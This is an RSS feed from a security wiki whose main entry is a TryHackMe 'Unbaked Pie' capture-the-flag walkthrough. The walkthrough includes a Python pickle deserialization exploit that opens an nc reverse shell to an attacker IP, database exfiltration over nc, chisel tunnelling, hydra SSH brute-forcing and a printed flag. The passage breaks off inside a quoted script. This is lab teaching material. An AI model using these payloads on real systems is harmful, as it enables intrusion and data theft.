<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
    <channel>
        <title>Aldeid News</title>
        <!--58c8ab89f33542a2a89f6a9895a6ba74-->
        <atom:link href="https://www.aldeid.com/feed" rel="self" type="application/rss+xml"/>
        <link>https://www.aldeid.com</link>
        <description>Aldeid.com is a wiki about Network and Web Applications Security, Ethical Hacking, Network Forensics, Reverse Engineering and Malware Analysis.</description>
        <language>en</language>
        <image>
            <url>https://www.aldeid.com/aldeid.png</url>
            <title>Aldeid News</title>
            <link>https://www.aldeid.com</link>
            <description>Aldeid logo</description>
            <width>97</width>
            <height>110</height>
        </image>
        <sy:updatePeriod>hourly</sy:updatePeriod>
        <sy:updateFrequency>1</sy:updateFrequency>
                <item>
            <title>Navigating the Dark Web</title>
            <link>https://www.aldeid.com/wiki/https://navigating-the-darkweb.readthedocs.io/</link>
            <comments>https://www.aldeid.com/wiki/Talk:https://navigating-the-darkweb.readthedocs.io/</comments>
            <pubDate>Wed, 23 Apr 2025 07:54:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/https://navigating-the-darkweb.readthedocs.io/</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-Navigating-the-Dark-Web.png"></p>]]></description>
        </item>
        <item>
            <title>TryHackMe > Unbaked Pie</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-Unbaked-Pie</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-Unbaked-Pie</comments>
            <pubDate>Sun, 6 Jun 2021 11:34:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-Unbaked-Pie</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-Unbaked-Pie.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>Don’t over-baked your pie!
</p><p>Please allow 5 minutes for this instance to fully deploy before attacking. This VM was developed in collaboration with @ch4rm, thanks to him for the foothold and privilege escalation ideas.
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#User_Flag"><span class="tocnumber">1</span> <span class="toctext">User Flag</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Services"><span class="tocnumber">1.1</span> <span class="toctext">Services</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#Django_application"><span class="tocnumber">1.2</span> <span class="toctext">Django application</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#Pickle_in_the_search"><span class="tocnumber">1.3</span> <span class="toctext">Pickle in the search</span></a></li>
<li class="toclevel-2 tocsection-5"><a href="#Exploit"><span class="tocnumber">1.4</span> <span class="toctext">Exploit</span></a></li>
<li class="toclevel-2 tocsection-6"><a href="#Evade_docker"><span class="tocnumber">1.5</span> <span class="toctext">Evade docker</span></a></li>
<li class="toclevel-2 tocsection-7"><a href="#Database"><span class="tocnumber">1.6</span> <span class="toctext">Database</span></a></li>
<li class="toclevel-2 tocsection-8"><a href="#Brute_force_ramsey’s_SSH_account"><span class="tocnumber">1.7</span> <span class="toctext">Brute force ramsey’s SSH account</span></a></li>
<li class="toclevel-2 tocsection-9"><a href="#Ramsey’s_flag"><span class="tocnumber">1.8</span> <span class="toctext">Ramsey’s flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-10"><a href="#Root_Flag"><span class="tocnumber">2</span> <span class="toctext">Root Flag</span></a>
<ul>
<li class="toclevel-2 tocsection-11"><a href="#Lateral_move_(ramsey_->_oliver)"><span class="tocnumber">2.1</span> <span class="toctext">Lateral move (ramsey -&gt; oliver)</span></a></li>
<li class="toclevel-2 tocsection-12"><a href="#Privilege_escalation"><span class="tocnumber">2.2</span> <span class="toctext">Privilege escalation</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="User_Flag">User Flag</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Services">Services</h2></div>
<p>Running Nmap will only reveal 1 open port:
</p>
<pre>PORT     STATE SERVICE    VERSION
5003/tcp open  filemaker?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 05 Jun 2021 05:28:13 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=gUg8DDUyJ5P5vaMKslwVHlS7qW7Q5vYjs4UxckkYelW73hYuVAHq8hLZqB7EWefU; expires=Sat, 04 Jun 2022 05:28:13 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     &lt;!DOCTYPE html&gt;
|     &lt;html lang="en"&gt;
|     &lt;head&gt;
|     &lt;meta charset="utf-8"&gt;
|     &lt;meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"&gt;
|     &lt;meta name="description" content=""&gt;
|     &lt;meta name="author" content=""&gt;
|     &lt;title&gt;[Un]baked | /&lt;/title&gt;
|     &lt;!-- Bootstrap core CSS --&gt;
|     &lt;link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"&gt;
|     &lt;!-- Custom fonts for this template --&gt;
|     &lt;link href="/static/vendor/fontawesome-free/css/all.min.cs
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 05 Jun 2021 05:28:13 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=rwqtwMQ29bIScFVPUUG4IoatqxRpw1jCThInxLE125FUHiakfnwMMATVxzIaymtl; expires=Sat, 04 Jun 2022 05:28:13 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     &lt;!DOCTYPE html&gt;
|     &lt;html lang="en"&gt;
|     &lt;head&gt;
|     &lt;meta charset="utf-8"&gt;
|     &lt;meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"&gt;
|     &lt;meta name="description" content=""&gt;
|     &lt;meta name="author" content=""&gt;
|     &lt;title&gt;[Un]baked | /&lt;/title&gt;
|     &lt;!-- Bootstrap core CSS --&gt;
|     &lt;link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"&gt;
|     &lt;!-- Custom fonts for this template --&gt;
|_    &lt;link href="/static/vendor/fontawesome-free/css/all.min.cs</pre>
<div class="mw-heading mw-heading2"><h2 id="Django_application">Django application</h2></div>
<p>Browsing the <code>robots.txt</code> page leads to a 404 error page with the below debug message as <code>DEBUG</code> is set to <code>True</code> in the Django application. It discloses all possible locations in the application:
</p>
<pre>Page not found (404)
Request Method:     GET
Request URL:    http://10.10.101.128:5003/robots.txt

Using the URLconf defined in bakery.urls, Django tried these URL patterns, in this order:

    admin/
    [name='home']
    share [name='share']
    search [name='search']
    about [name='about']
    &lt;slug:slug&gt; [name='detail']
    accounts/
    ^static/(?P&lt;path&gt;.*)$
    ^media/(?P&lt;path&gt;.*)$

The current path, robots.txt, didn't match any of these.</pre>
<div class="mw-heading mw-heading2"><h2 id="Pickle_in_the_search">Pickle in the search</h2></div>
<p>Intercepting all requests in BurpSuite leads to understanding that there is a pickle stored in the <code>search_cookie</code>:
</p>
<pre>HTTP/1.1 200 OK
Date: Sat, 05 Jun 2021 05:59:09 GMT
Server: WSGIServer/0.2 CPython/3.8.6
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Cookie
Content-Length: 5878
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie:  search_cookie="gASVCQAAAAAAAACMBWFwcGxllC4="; Path=/
Set-Cookie:  csrftoken=UUD6QtcPz63MKhSdQJgK91xyDjsWUxWIrN8wR9LOLwJffuO3EQzY5Ul2kkccId2f; expires=Sat, 04 Jun 2022 05:59:09 GMT; Max-Age=31449600; Path=/; SameSite=Lax</pre>
<p>This seems to be a pickle string that stores the content of the last searched string:
</p>
<div class="mw-highlight mw-highlight-lang-python mw-content-ltr" dir="ltr"><pre><span></span><span class="err">$</span> <span class="n">python3</span>            
<span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span><span class="w"> </span><span class="nn">pickle</span>
<span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span><span class="w"> </span><span class="nn">base64</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="s2">"gASVCQAAAAAAAACMBWFwcGxllC4="</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="sa">b</span><span class="s1">'</span><span class="se">\x80\x04\x95\t\x00\x00\x00\x00\x00\x00\x00\x8c\x05</span><span class="s1">apple</span><span class="se">\x94</span><span class="s1">.'</span>
<span class="o">&gt;&gt;&gt;</span> <span class="n">pickle</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">s</span><span class="p">))</span>
<span class="s1">'apple'</span>
</pre></div>
<div class="mw-heading mw-heading2"><h2 id="Exploit">Exploit</h2></div>
<p>Searching for exploits on python pickles led me to this <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://davidhamann.de/2020/04/05/exploiting-python-pickle/">resource</a>, and I adapted the script to make a reverse shell:
</p>
<div class="mw-highlight mw-highlight-lang-python mw-content-ltr" dir="ltr"><pre><span></span><span class="kn">import</span><span class="w"> </span><span class="nn">pickle</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">base64</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">os</span>

<span class="k">class</span><span class="w"> </span><span class="nc">RCE</span><span class="p">:</span>
    <span class="k">def</span><span class="w"> </span><span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">cmd</span> <span class="o">=</span> <span class="p">(</span><span class="s1">'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc 10.8.50.72 4444 &gt; /tmp/f'</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="n">cmd</span><span class="p">,)</span>

<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
    <span class="n">pickled</span> <span class="o">=</span> <span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">RCE</span><span class="p">())</span>
    <span class="nb">print</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">urlsafe_b64encode</span><span class="p">(</span><span class="n">pickled</span><span class="p">))</span>
</pre></div>
<p>Running the script gives me the following base64 encoded pickle:
</p>
<pre>$ python3 makepickle.py 
b'gASVaAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE1ybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC44LjUwLjcyIDQ0NDQgPi90bXAvZpSFlFKULg=='</pre>
<p>Now, intercept the request in BurpSuite and modify the value of the <code>search_cookie</code>:
</p>
<pre>POST /search HTTP/1.1
Host: 10.10.101.128:5003
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.101.128:5003/search
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://10.10.101.128:5003
Connection: close
Cookie: csrftoken=UUD6QtcPz63MKhSdQJgK91xyDjsWUxWIrN8wR9LOLwJffuO3EQzY5Ul2kkccId2f; search_cookie="gASVaAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE1ybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC44LjUwLjcyIDQ0NDQgPi90bXAvZpSFlFKULg=="
Upgrade-Insecure-Requests: 1

csrfmiddlewaretoken=bU0PAWeQasy8PgUEVezIo4poKG4QSGq0INvfBCNPmSeBktQuJlSWkXdSrHO6Gmwx&amp;query=apple</pre>
<p>Now we have a reverse shell. We are <code>root</code> but there is no flag in the <code>/root</code> directory, and it seems that we are running in a docker environment:
</p>
<pre>┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ nc -nlvp 4444         
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.101.128] 36542
/bin/sh: 0: can't access tty; job control turned off
# python3 -c "import pty;pty.spawn('/bin/bash')"
root@8b39a559b296:/home# id
id
uid=0(root) gid=0(root) groups=0(root)
root@8b39a559b296:/home# cd /root
cd /root
root@8b39a559b296:~# ll
ll
bash: ll: command not found
root@8b39a559b296:~# ls -la
ls -la
total 36
drwx------ 1 root root 4096 Oct  3  2020 .
drwxr-xr-x 1 root root 4096 Oct  3  2020 ..
-rw------- 1 root root  889 Oct  6  2020 .bash_history
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root 4096 Oct  3  2020 .cache
drwxr-xr-x 3 root root 4096 Oct  3  2020 .local
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw------- 1 root root    0 Sep 24  2020 .python_history
drwx------ 2 root root 4096 Oct  3  2020 .ssh
-rw-r--r-- 1 root root  254 Oct  3  2020 .wget-hsts
root@8b39a559b296:/home/site# ip addr
ip addr
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever</pre>
<div class="mw-heading mw-heading2"><h2 id="Evade_docker">Evade docker</h2></div>
<p>The <code>.bash_history</code> file discloses and interesting command, and we understand that <code>ramsey</code> is a valid user to the SSH connection to the main host.
</p>
<pre>root@8b39a559b296:/home/site# cat /root/.bash_history
cat /root/.bash_history
nc
exit
ifconfig
ip addr
ssh 172.17.0.1
ssh 172.17.0.2
exit
ssh ramsey@172.17.0.1
exit
cd /tmp
wget https://raw.githubusercontent.com/moby/moby/master/contrib/check-config.sh
chmod +x check-config.sh
./check-config.sh 
nano /etc/default/grub
vi /etc/default/grub
apt install vi
apt update
apt install vi
apt install vim
apt install nano
nano /etc/default/grub
grub-update
apt install grub-update
apt-get install --reinstall grub
grub-update
exit
ssh ramsey@172.17.0.1 &lt;---------------------- interesting
exit
ssh ramsey@172.17.0.1
exit
ls
cd site/
ls
cd bakery/
ls
nano settings.py 
exit
ls
cd site/
ls
cd bakery/
nano settings.py 
exit
apt remove --purge ssh
ssh
apt remove --purge autoremove open-ssh*
apt remove --purge autoremove openssh=*
apt remove --purge autoremove openssh-*
ssh
apt autoremove openssh-client
clear
ssh
ssh
ssh
exit</pre>
<div class="mw-heading mw-heading2"><h2 id="Database">Database</h2></div>
<p>However, we don’t know ramsey’s password. I first tried to get the sqlite3 database (Django database) to find credentials, but it seemed to be a rabbit hole.
</p><p>In Kali:
</p>
<pre>┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ nc -l -p 9999 &gt; db.sqlite3</pre>
<p>On the target:
</p>
<pre>root@8b39a559b296:/home/site# nc -w 3 10.8.50.72 9999 &lt; db.sqlite3
nc -w 3 10.8.50.72 9999 &lt; db.sqlite3</pre>
<p>We can dump the <code>auth_user</code> table:
</p>
<pre>┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ sqlite3 db.sqlite3      
sqlite&gt; .tables
auth_group                  django_admin_log          
auth_group_permissions      django_content_type       
auth_permission             django_migrations         
auth_user                   django_session            
auth_user_groups            homepage_article          
auth_user_user_permissions
sqlite&gt; select * from auth_user;
1|pbkdf2_sha256$216000$3fIfQIweKGJy$xFHY3JKtPDdn/AktNbAwFKMQnBlrXnJyU04GElJKxEo=|2020-10-03 10:43:47.229292|1|aniqfakhrul|||1|1|2020-10-02 04:50:52.424582|
11|pbkdf2_sha256$216000$0qA6zNH62sfo$8ozYcSpOaUpbjPJz82yZRD26ZHgaZT8nKWX+CU0OfRg=|2020-10-02 10:16:45.805533|0|testing|||0|1|2020-10-02 10:16:45.686339|
12|pbkdf2_sha256$216000$hyUSJhGMRWCz$vZzXiysi8upGO/DlQy+w6mRHf4scq8FMnc1pWufS+Ik=|2020-10-03 10:44:10.758867|0|ramsey|||0|1|2020-10-02 14:42:44.388799|
13|pbkdf2_sha256$216000$Em73rE2NCRmU$QtK5Tp9+KKoP00/QV4qhF3TWIi8Ca2q5gFCUdjqw8iE=|2020-10-02 14:42:59.192571|0|oliver|||0|1|2020-10-02 14:42:59.113998|
14|pbkdf2_sha256$216000$oFgeDrdOtvBf$ssR/aID947L0jGSXRrPXTGcYX7UkEBqWBzC+Q2Uq+GY=|2020-10-02 14:43:15.187554|0|wan|||0|1|2020-10-02 14:43:15.102863|</pre>
<p>But I was not able to crack these hashes (aborted the hashcat process after 2 hours).
</p>
<pre>$ cat ramsey.hash
ramsey:pbkdf2_sha256$216000$hyUSJhGMRWCz$vZzXiysi8upGO/DlQy+w6mRHf4scq8FMnc1pWufS+Ik=
$ hashcat -m 10000 --username ramsey.hash /usr/share/wordlists/rockyou.txt</pre>
<div class="mw-heading mw-heading2"><h2 id="Brute_force_ramsey’s_SSH_account"><span id="Brute_force_ramsey.E2.80.99s_SSH_account"></span>Brute force ramsey’s SSH account</h2></div>
<p>Neither <code>ssh</code> nor <code>socat</code> are installed on the docker container. Let’s use <code>chisel</code>.
</p><p>On Kali:
</p>
<pre>┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ ./chisel server -p 2223 --reverse</pre>
<p>On the target:
</p>
<pre>root@8b39a559b296:/home# ./chisel client 10.8.50.72:2223 R:22:172.17.0.1:22</pre>
<p>Now, let’s crack <code>ramsey</code>’s accont:
</p>
<pre>┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ hydra -l ramsey -P /usr/share/wordlists/rockyou.txt ssh://localhost                                        255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-05 09:26:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://localhost:22/
[22][ssh] host: localhost   login: ramsey   password: 12345678
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-05 09:26:44</pre>
<div class="mw-heading mw-heading2"><h2 id="Ramsey’s_flag"><span id="Ramsey.E2.80.99s_flag"></span>Ramsey’s flag</h2></div>
<p>We can now connect as ramsey:
</p>
<pre>┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ sshpass -p "12345678" ssh ramsey@localhost                                                                127 ⨯
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


39 packages can be updated.
26 updates are security updates.


Last login: Tue Oct  6 22:39:31 2020 from 172.17.0.2
ramsey@unbaked:~$ ll
total 48
drwxr-xr-x 5 ramsey ramsey 4096 Oct  6  2020 ./
drwxr-xr-x 4 root   root   4096 Oct  3  2020 ../
-rw------- 1 root   root      1 Oct  5  2020 .bash_history
-rw-r--r-- 1 ramsey ramsey 3771 Oct  3  2020 .bashrc
drwx------ 3 ramsey ramsey 4096 Oct  3  2020 .cache/
drwx------ 4 ramsey ramsey 4096 Oct  3  2020 .local/
drwxrwxr-x 2 ramsey ramsey 4096 Oct  3  2020 .nano/
-rwxrw-r-- 1 ramsey ramsey 1645 Oct  3  2020 payload.png*
-rw-r--r-- 1 ramsey ramsey  655 Oct  3  2020 .profile
-rw-r--r-- 1 root   root     38 Oct  6  2020 user.txt
-rw-r--r-- 1 root   ramsey 4369 Oct  3  2020 vuln.py
ramsey@unbaked:~$ cat user.txt 
THM{ce778dd41bec31e1daed77ebebcd7423}</pre>
<p>User flag: <code>THM{ce778dd41bec31e1daed77ebebcd7423}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="Root_Flag">Root Flag</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Lateral_move_(ramsey_->_oliver)"><span id="Lateral_move_.28ramsey_-.3E_oliver.29"></span>Lateral move (ramsey -&gt; oliver)</h2></div>
<p>Ramsey can run <code>vuln.py</code> as <code>oliver</code>:
</p>
<pre>ramsey@unbaked:~$ sudo -l
[sudo] password for ramsey: 
Matching Defaults entries for ramsey on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ramsey may run the following commands on unbaked:
    (oliver) /usr/bin/python /home/ramsey/vuln.py</pre>
<p>Below is the content of the script:
</p>
<div class="mw-highlight mw-highlight-lang-python mw-content-ltr" dir="ltr"><pre><span></span><span class="n">ramsey</span><span class="nd">@unbaked</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> <span class="n">cat</span> <span class="n">vuln</span><span class="o">.</span><span class="n">py</span> 
<span class="c1">#!/usr/bin/python</span>
<span class="c1"># coding=utf-8</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">from</span><span class="w"> </span><span class="nn">PIL</span><span class="w"> </span><span class="kn">import</span> <span class="n">Image</span>
<span class="k">except</span> <span class="ne">ImportError</span><span class="p">:</span>
    <span class="kn">import</span><span class="w"> </span><span class="nn">Image</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">pytesseract</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">sys</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">os</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">time</span>


<span class="c1">#Header</span>
<span class="k">def</span><span class="w"> </span><span class="nf">header</span><span class="p">():</span>
    <span class="n">banner</span> <span class="o">=</span> <span class="s1">'''</span><span class="se">\033</span><span class="s1">[33m                                             </span>
<span class="s1">                      (</span>
<span class="s1">                       )</span>
<span class="s1">                      __..---..__</span>
<span class="s1">                  ,-='  /  |  \  `=-.</span>
<span class="s1">                &nbsp;:--..___________..--;</span>
<span class="s1">                  \.,_____________,./</span>
<span class="s1">         </span>

<span class="s1">██╗███╗   ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗   ██╗████████╗███████╗</span>
<span class="s1">██║████╗  ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗  ██║╚══██╔══╝██╔════╝</span>
<span class="s1">██║██╔██╗ ██║██║  ███╗██████╔╝█████╗  ██║  ██║██║█████╗  ██╔██╗ ██║   ██║   ███████╗</span>
<span class="s1">██║██║╚██╗██║██║   ██║██╔══██╗██╔══╝  ██║  ██║██║██╔══╝  ██║╚██╗██║   ██║   ╚════██║</span>
<span class="s1">██║██║ ╚████║╚██████╔╝██║  ██║███████╗██████╔╝██║███████╗██║ ╚████║   ██║   ███████║</span>
<span class="s1">╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝</span>
<span class="se">\033</span><span class="s1">[m'''</span>
        <span class="k">return</span> <span class="n">banner</span>

<span class="c1">#Function Instructions</span>
<span class="k">def</span><span class="w"> </span><span class="nf">instructions</span><span class="p">():</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\n\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="mi">9</span> <span class="o">*</span> <span class="s2">"-"</span> <span class="p">,</span> <span class="s2">"WELCOME!"</span> <span class="p">,</span> <span class="mi">9</span> <span class="o">*</span> <span class="s2">"-"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"1. Calculator"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"2. Easy Calculator"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"3. Credits"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"4. Exit"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="mi">28</span> <span class="o">*</span> <span class="s2">"-"</span>

<span class="k">def</span><span class="w"> </span><span class="nf">instructions2</span><span class="p">():</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\n\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="mi">9</span> <span class="o">*</span> <span class="s2">"-"</span> <span class="p">,</span> <span class="s2">"CALCULATOR!"</span> <span class="p">,</span> <span class="mi">9</span> <span class="o">*</span> <span class="s2">"-"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"1. Add"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"2. Subtract"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"3. Multiply"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"4. Divide"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="s2">"5. Back"</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\t\t\t</span><span class="s2">"</span><span class="p">,</span><span class="mi">28</span> <span class="o">*</span> <span class="s2">"-"</span>
    
<span class="k">def</span><span class="w"> </span><span class="nf">credits</span><span class="p">():</span>
    <span class="nb">print</span> <span class="s2">"</span><span class="se">\n\t\t</span><span class="s2">Hope you enjoy learning new things  - Ch4rm &amp; H0j3n</span><span class="se">\n</span><span class="s2">"</span>
    
<span class="c1"># Function Arithmetic</span>

<span class="c1"># Function to add two numbers  </span>
<span class="k">def</span><span class="w"> </span><span class="nf">add</span><span class="p">(</span><span class="n">num1</span><span class="p">,</span> <span class="n">num2</span><span class="p">):</span> 
    <span class="k">return</span> <span class="n">num1</span> <span class="o">+</span> <span class="n">num2</span> 
  
<span class="c1"># Function to subtract two numbers  </span>
<span class="k">def</span><span class="w"> </span><span class="nf">subtract</span><span class="p">(</span><span class="n">num1</span><span class="p">,</span> <span class="n">num2</span><span class="p">):</span> 
    <span class="k">return</span> <span class="n">num1</span> <span class="o">-</span> <span class="n">num2</span> 
  
<span class="c1"># Function to multiply two numbers </span>
<span class="k">def</span><span class="w"> </span><span class="nf">multiply</span><span class="p">(</span><span class="n">num1</span><span class="p">,</span> <span class="n">num2</span><span class="p">):</span> 
    <span class="k">return</span> <span class="n">num1</span> <span class="o">*</span> <span class="n">num2</span> 
  
<span class="c1"># Function to divide two numbers </span>
<span class="k">def</span><span class="w"> </span><span class="nf">divide</span><span class="p">(</span><span class="n">num1</span><span class="p">,</span> <span class="n">num2</span><span class="p">):</span> 
    <span class="k">return</span> <span class="n">num1</span> <span class="o">/</span> <span class="n">num2</span> 
<span class="c1"># Main      </span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
    <span class="nb">print</span> <span class="n">header</span><span class="p">()</span>
    
    <span class="c1">#Variables</span>
    <span class="n">OPTIONS</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">OPTIONS2</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">TOTAL</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">NUM1</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">NUM2</span> <span class="o">=</span> <span class="mi">0</span>

    <span class="k">while</span><span class="p">(</span><span class="n">OPTIONS</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">):</span>
        <span class="n">instructions</span><span class="p">()</span>
